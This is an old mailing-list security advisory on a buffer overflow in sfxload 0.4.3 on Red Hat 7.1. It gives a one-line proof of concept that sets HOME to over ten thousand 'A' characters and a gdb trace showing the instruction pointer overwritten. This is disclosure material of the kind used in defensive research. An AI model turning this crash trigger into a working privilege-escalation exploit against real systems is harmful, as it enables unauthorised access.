sfxload issues.

From: l0rt (simonat_private)
Date: Wed Jan 02 2002 - 12:53:36 PST

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    Vendor : http://members.tripod.de/iwai/awedrv.html
    Program: sfxload
    OS     : RH 7.1 
    Version: 0.4.3
    SUID   : No
    SGID   : No
    Issue  : This may get called by an suid helper binary which would allow 
    	 a normal user to gain some more privs.
    
    --------------------------------------------------------------------------
    
    Details:
    [raven] /u1/cores/testing/bin> export HOME=`perl -e 'print "A" x 10235'`
    
    /* I just set HOME to be [10235] A's */
    
    [raven] /u1/cores/testing/bin> sfxload 
    Segmentation fault (core dumped)
    
    /* When xfsload is run it reads in the HOME var and cores!!! */
    
    [raven] /u1/cores/testing/bin/sfxload> gdb /bin/sfxload  /* gdb */
    GNU gdb 5.0rh-5 Red Hat Linux 7.1
    Copyright 2001 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you
    are
    welcome to change it and/or distribute copies of it under certain
    conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for
    details.
    This GDB was configured as "i386-redhat-linux"...(no debugging symbols
    found)...
    (gdb) core core
    Core was generated by `AAAAAAAA'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/i686/libm.so.6...done.
    Loaded symbols for /lib/i686/libm.so.6
    Reading symbols from /lib/i686/libc.so.6...done.
    Loaded symbols for /lib/i686/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x41414141 in ?? ()
    (gdb) bt
    #0  0x41414141 in ?? ()
    Cannot access memory at address 0x41414141
    (gdb) 
    
    /* EIP gets killed */
     
    
    
    
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    	l0rt
    	
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